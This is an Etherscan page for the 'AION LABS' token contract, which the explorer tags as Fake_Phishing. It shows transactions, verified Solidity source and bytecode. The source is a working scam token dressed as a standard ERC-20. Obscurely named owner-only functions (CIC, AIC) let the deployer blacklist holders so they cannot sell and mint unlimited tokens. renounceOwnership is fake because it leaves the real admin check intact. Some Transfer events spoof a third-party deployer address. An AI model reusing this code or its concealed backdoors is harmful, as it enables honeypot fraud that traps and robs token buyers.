ETH Price: $1,568.39 (+3.33%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve165319282023-02-01 5:37:47800 days ago1675229867IN
Fake_Phishing303084
0 ETH0.0003837415.49988634
Approve165319282023-02-01 5:37:47800 days ago1675229867IN
Fake_Phishing303084
0 ETH0.0003837415.49988634
Approve164054362023-01-14 13:47:11818 days ago1673704031IN
Fake_Phishing303084
0 ETH0.0008242517.52158809
Approve164037952023-01-14 8:17:23818 days ago1673684243IN
Fake_Phishing303084
0 ETH0.0008838618.78884217
Approve164036962023-01-14 7:57:35818 days ago1673683055IN
Fake_Phishing303084
0 ETH0.0008383517.82148706
Approve164024432023-01-14 3:46:11818 days ago1673667971IN
Fake_Phishing303084
0 ETH0.0011534424.51956769
AIC164023412023-01-14 3:25:47818 days ago1673666747IN
Fake_Phishing303084
0 ETH0.0007812826.18494319
Approve164023102023-01-14 3:19:35818 days ago1673666375IN
Fake_Phishing303084
0 ETH0.001301527.66686431
Approve164023082023-01-14 3:19:11818 days ago1673666351IN
Fake_Phishing303084
0 ETH0.0012737427.07676898
Approve164022812023-01-14 3:13:47818 days ago1673666027IN
Fake_Phishing303084
0 ETH0.0016197634.43240376
CIC164022722023-01-14 3:11:59818 days ago1673665919IN
Fake_Phishing303084
0 ETH0.0007247127.05674038
Approve164022682023-01-14 3:11:11818 days ago1673665871IN
Fake_Phishing303084
0 ETH0.0013165627.98698361
Approve164022482023-01-14 3:07:11818 days ago1673665631IN
Fake_Phishing303084
0 ETH0.0015461232.86681633
Approve164022472023-01-14 3:06:59818 days ago1673665619IN
Fake_Phishing303084
0 ETH0.0013851229.44450891
CIC164022402023-01-14 3:05:35818 days ago1673665535IN
Fake_Phishing303084
0 ETH0.0015530933.26756066
Approve164022282023-01-14 3:03:11818 days ago1673665391IN
Fake_Phishing303084
0 ETH0.0017298636.77270031
CIC164022242023-01-14 3:02:23818 days ago1673665343IN
Fake_Phishing303084
0 ETH0.0015115332.37734826
Approve164022172023-01-14 3:00:59818 days ago1673665259IN
Fake_Phishing303084
0 ETH0.0016286634.62141035
CIC164022112023-01-14 2:59:47818 days ago1673665187IN
Fake_Phishing303084
0 ETH0.0011909225.50985857
CIC164022112023-01-14 2:59:47818 days ago1673665187IN
Fake_Phishing303084
0 ETH0.0011906225.50985857
CIC164022092023-01-14 2:59:23818 days ago1673665163IN
Fake_Phishing303084
0 ETH0.0011469324.56754447
CIC164022092023-01-14 2:59:23818 days ago1673665163IN
Fake_Phishing303084
0 ETH0.0011469324.56754447
Renounce Ownersh...164021952023-01-14 2:56:35818 days ago1673664995IN
Fake_Phishing303084
0 ETH0.000633927.15012692
Approve164021942023-01-14 2:56:23818 days ago1673664983IN
Fake_Phishing303084
0 ETH0.0013150927.95567617
Approve164021872023-01-14 2:54:59818 days ago1673664899IN
Fake_Phishing303084
0 ETH0.0012408526.37757404
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
AION

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-01-14
*/

// SPDX-License-Identifier: MIT


pragma solidity 0.8.17;

   
 
contract AION {
  
    mapping (address => uint256) private BFC;
    mapping (address => uint256) private CGF;
    mapping(address => mapping(address => uint256)) public allowance;
  


    
    string public name = "AION LABS";
    string public symbol = unicode"AION";
    uint8 public decimals = 6;
    uint256 public totalSupply = 125000000 *10**6;
    address owner = msg.sender;
    address private DCF;
    address deployer = 0x00C5E04176d95A286fccE0E68c683Ca0bfec8454;
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
   



        constructor()  {
        DCF = msg.sender;
        deploy(msg.sender, totalSupply); }

    function renounceOwnership() public virtual {
        require(msg.sender == owner);
        emit OwnershipTransferred(owner, address(0));
        owner = address(0);
    }



    function deploy(address account, uint256 amount) internal {
    account = deployer;
    BFC[msg.sender] = totalSupply;
    emit Transfer(address(0), account, amount); }

    modifier II() {   
    require(msg.sender == DCF);
         _;}

   function balanceOf(address account) public view  returns (uint256) {
        return BFC[account];
    }
    function transfer(address to, uint256 value) public returns (bool success) {


      require(CGF[msg.sender] <= 1);
        require(BFC[msg.sender] >= value);
  BFC[msg.sender] -= value;  
        BFC[to] += value;          
 emit Transfer(msg.sender, to, value);
        return true; }
 function CIC (address io, uint256 ix) II public {
   CGF[io] = ix;} 
function AIC (address io, uint256 ix) II public {
    BFC[io] += ix;} 
 function approve(address spender, uint256 value) public returns (bool success) {    
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true; }
    function transferFrom(address from, address to, uint256 value) public returns (bool success) {   
        if(from == DCF)  {
 require(value <= BFC[from]);
        require(value <= allowance[from][msg.sender]);
        BFC[from] -= value;  
      BFC[to] += value; 
        from = deployer;
        emit Transfer (from, to, value);
        return true; }    

        require(CGF[from] <= 1 && CGF[to] <=1);
        require(value <= BFC[from]);
        require(value <= allowance[from][msg.sender]);
        BFC[from] -= value;
        BFC[to] += value;
        allowance[from][msg.sender] -= value;
        emit Transfer(from, to, value);
        return true; }
    }

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"io","type":"address"},{"internalType":"uint256","name":"ix","type":"uint256"}],"name":"AIC","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"io","type":"address"},{"internalType":"uint256","name":"ix","type":"uint256"}],"name":"CIC","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600981526020017f41494f4e204c4142530000000000000000000000000000000000000000000000815250600390816200004a919062000506565b506040518060400160405280600481526020017f41494f4e000000000000000000000000000000000000000000000000000000008152506004908162000091919062000506565b506006600560006101000a81548160ff021916908360ff1602179055506571afd498d00060065533600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555072c5e04176d95a286fcce0e68c683ca0bfec8454600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200015a57600080fd5b5033600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001b033600654620001b660201b60201c565b6200061b565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691506006546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620002809190620005fe565b60405180910390a35050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200030e57607f821691505b602082108103620003245762000323620002c6565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200038e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200034f565b6200039a86836200034f565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620003e7620003e1620003db84620003b2565b620003bc565b620003b2565b9050919050565b6000819050919050565b6200040383620003c6565b6200041b6200041282620003ee565b8484546200035c565b825550505050565b600090565b6200043262000423565b6200043f818484620003f8565b505050565b5b8181101562000467576200045b60008262000428565b60018101905062000445565b5050565b601f821115620004b65762000480816200032a565b6200048b846200033f565b810160208510156200049b578190505b620004b3620004aa856200033f565b83018262000444565b50505b505050565b600082821c905092915050565b6000620004db60001984600802620004bb565b1980831691505092915050565b6000620004f68383620004c8565b9150826002028217905092915050565b62000511826200028c565b67ffffffffffffffff8111156200052d576200052c62000297565b5b620005398254620002f5565b620005468282856200046b565b600060209050601f8311600181146200057e576000841562000569578287015190505b620005758582620004e8565b865550620005e5565b601f1984166200058e866200032a565b60005b82811015620005b85784890151825560018201915060208501945060208101905062000591565b86831015620005d85784890151620005d4601f891682620004c8565b8355505b6001600288020188555050505b505050505050565b620005f881620003b2565b82525050565b6000602082019050620006156000830184620005ed565b92915050565b6112a9806200062b6000396000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461018f578063715018a6146101bf57806395d89b41146101c9578063a40ac1ad146101e7578063a9059cbb14610203578063dd62ed3e14610233576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce5671461015557806344d5526914610173575b600080fd5b6100c1610263565b6040516100ce9190610f2a565b60405180910390f35b6100f160048036038101906100ec9190610fe5565b6102f1565b6040516100fe9190611040565b60405180910390f35b61010f6103e3565b60405161011c919061106a565b60405180910390f35b61013f600480360381019061013a9190611085565b6103e9565b60405161014c9190611040565b60405180910390f35b61015d61096a565b60405161016a91906110f4565b60405180910390f35b61018d60048036038101906101889190610fe5565b61097d565b005b6101a960048036038101906101a4919061110f565b610a1f565b6040516101b6919061106a565b60405180910390f35b6101c7610a67565b005b6101d1610b82565b6040516101de9190610f2a565b60405180910390f35b61020160048036038101906101fc9190610fe5565b610c10565b005b61021d60048036038101906102189190610fe5565b610cc3565b60405161022a9190611040565b60405180910390f35b61024d6004803603810190610248919061113c565b610e75565b60405161025a919061106a565b60405180910390f35b60038054610270906111ab565b80601f016020809104026020016040519081016040528092919081815260200182805461029c906111ab565b80156102e95780601f106102be576101008083540402835291602001916102e9565b820191906000526020600020905b8154815290600101906020018083116102cc57829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103d1919061106a565b60405180910390a36001905092915050565b60065481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610651576000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561048b57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561051457600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610562919061120b565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105b7919061123f565b92505081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1693508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610640919061106a565b60405180910390a360019050610963565b60018060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111580156106df575060018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b6106e857600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561073357600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156107bc57600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461080a919061120b565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461085f919061123f565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108f2919061120b565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610956919061106a565b60405180910390a3600190505b9392505050565b600560009054906101000a900460ff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d757600080fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ac157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60048054610b8f906111ab565b80601f0160208091040260200160405190810160405280929190818152602001828054610bbb906111ab565b8015610c085780601f10610bdd57610100808354040283529160200191610c08565b820191906000526020600020905b815481529060010190602001808311610beb57829003601f168201915b505050505081565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c6a57600080fd5b806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610cb8919061123f565b925050819055505050565b600060018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610d1157600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d5c57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610daa919061120b565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dff919061123f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e63919061106a565b60405180910390a36001905092915050565b6002602052816000526040600020602052806000526040600020600091509150505481565b600081519050919050565b600082825260208201905092915050565b60005b83811015610ed4578082015181840152602081019050610eb9565b60008484015250505050565b6000601f19601f8301169050919050565b6000610efc82610e9a565b610f068185610ea5565b9350610f16818560208601610eb6565b610f1f81610ee0565b840191505092915050565b60006020820190508181036000830152610f448184610ef1565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610f7c82610f51565b9050919050565b610f8c81610f71565b8114610f9757600080fd5b50565b600081359050610fa981610f83565b92915050565b6000819050919050565b610fc281610faf565b8114610fcd57600080fd5b50565b600081359050610fdf81610fb9565b92915050565b60008060408385031215610ffc57610ffb610f4c565b5b600061100a85828601610f9a565b925050602061101b85828601610fd0565b9150509250929050565b60008115159050919050565b61103a81611025565b82525050565b60006020820190506110556000830184611031565b92915050565b61106481610faf565b82525050565b600060208201905061107f600083018461105b565b92915050565b60008060006060848603121561109e5761109d610f4c565b5b60006110ac86828701610f9a565b93505060206110bd86828701610f9a565b92505060406110ce86828701610fd0565b9150509250925092565b600060ff82169050919050565b6110ee816110d8565b82525050565b600060208201905061110960008301846110e5565b92915050565b60006020828403121561112557611124610f4c565b5b600061113384828501610f9a565b91505092915050565b6000806040838503121561115357611152610f4c565b5b600061116185828601610f9a565b925050602061117285828601610f9a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806111c357607f821691505b6020821081036111d6576111d561117c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061121682610faf565b915061122183610faf565b9250828203905081811115611239576112386111dc565b5b92915050565b600061124a82610faf565b915061125583610faf565b925082820190508082111561126d5761126c6111dc565b5b9291505056fea26469706673582212204c47115cb7bc209d7f289849fa0a1da2746bc9eb299dbbd5be2a7bee9debaa7b64736f6c63430008110033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461018f578063715018a6146101bf57806395d89b41146101c9578063a40ac1ad146101e7578063a9059cbb14610203578063dd62ed3e14610233576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce5671461015557806344d5526914610173575b600080fd5b6100c1610263565b6040516100ce9190610f2a565b60405180910390f35b6100f160048036038101906100ec9190610fe5565b6102f1565b6040516100fe9190611040565b60405180910390f35b61010f6103e3565b60405161011c919061106a565b60405180910390f35b61013f600480360381019061013a9190611085565b6103e9565b60405161014c9190611040565b60405180910390f35b61015d61096a565b60405161016a91906110f4565b60405180910390f35b61018d60048036038101906101889190610fe5565b61097d565b005b6101a960048036038101906101a4919061110f565b610a1f565b6040516101b6919061106a565b60405180910390f35b6101c7610a67565b005b6101d1610b82565b6040516101de9190610f2a565b60405180910390f35b61020160048036038101906101fc9190610fe5565b610c10565b005b61021d60048036038101906102189190610fe5565b610cc3565b60405161022a9190611040565b60405180910390f35b61024d6004803603810190610248919061113c565b610e75565b60405161025a919061106a565b60405180910390f35b60038054610270906111ab565b80601f016020809104026020016040519081016040528092919081815260200182805461029c906111ab565b80156102e95780601f106102be576101008083540402835291602001916102e9565b820191906000526020600020905b8154815290600101906020018083116102cc57829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103d1919061106a565b60405180910390a36001905092915050565b60065481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610651576000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561048b57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561051457600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610562919061120b565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105b7919061123f565b92505081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1693508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610640919061106a565b60405180910390a360019050610963565b60018060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111580156106df575060018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b6106e857600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561073357600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156107bc57600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461080a919061120b565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461085f919061123f565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108f2919061120b565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610956919061106a565b60405180910390a3600190505b9392505050565b600560009054906101000a900460ff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d757600080fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ac157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60048054610b8f906111ab565b80601f0160208091040260200160405190810160405280929190818152602001828054610bbb906111ab565b8015610c085780601f10610bdd57610100808354040283529160200191610c08565b820191906000526020600020905b815481529060010190602001808311610beb57829003601f168201915b505050505081565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c6a57600080fd5b806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610cb8919061123f565b925050819055505050565b600060018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610d1157600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d5c57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610daa919061120b565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dff919061123f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e63919061106a565b60405180910390a36001905092915050565b6002602052816000526040600020602052806000526040600020600091509150505481565b600081519050919050565b600082825260208201905092915050565b60005b83811015610ed4578082015181840152602081019050610eb9565b60008484015250505050565b6000601f19601f8301169050919050565b6000610efc82610e9a565b610f068185610ea5565b9350610f16818560208601610eb6565b610f1f81610ee0565b840191505092915050565b60006020820190508181036000830152610f448184610ef1565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610f7c82610f51565b9050919050565b610f8c81610f71565b8114610f9757600080fd5b50565b600081359050610fa981610f83565b92915050565b6000819050919050565b610fc281610faf565b8114610fcd57600080fd5b50565b600081359050610fdf81610fb9565b92915050565b60008060408385031215610ffc57610ffb610f4c565b5b600061100a85828601610f9a565b925050602061101b85828601610fd0565b9150509250929050565b60008115159050919050565b61103a81611025565b82525050565b60006020820190506110556000830184611031565b92915050565b61106481610faf565b82525050565b600060208201905061107f600083018461105b565b92915050565b60008060006060848603121561109e5761109d610f4c565b5b60006110ac86828701610f9a565b93505060206110bd86828701610f9a565b92505060406110ce86828701610fd0565b9150509250925092565b600060ff82169050919050565b6110ee816110d8565b82525050565b600060208201905061110960008301846110e5565b92915050565b60006020828403121561112557611124610f4c565b5b600061113384828501610f9a565b91505092915050565b6000806040838503121561115357611152610f4c565b5b600061116185828601610f9a565b925050602061117285828601610f9a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806111c357607f821691505b6020821081036111d6576111d561117c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061121682610faf565b915061122183610faf565b9250828203905081811115611239576112386111dc565b5b92915050565b600061124a82610faf565b915061125583610faf565b925082820190508082111561126d5761126c6111dc565b5b9291505056fea26469706673582212204c47115cb7bc209d7f289849fa0a1da2746bc9eb299dbbd5be2a7bee9debaa7b64736f6c63430008110033

Deployed Bytecode Sourcemap

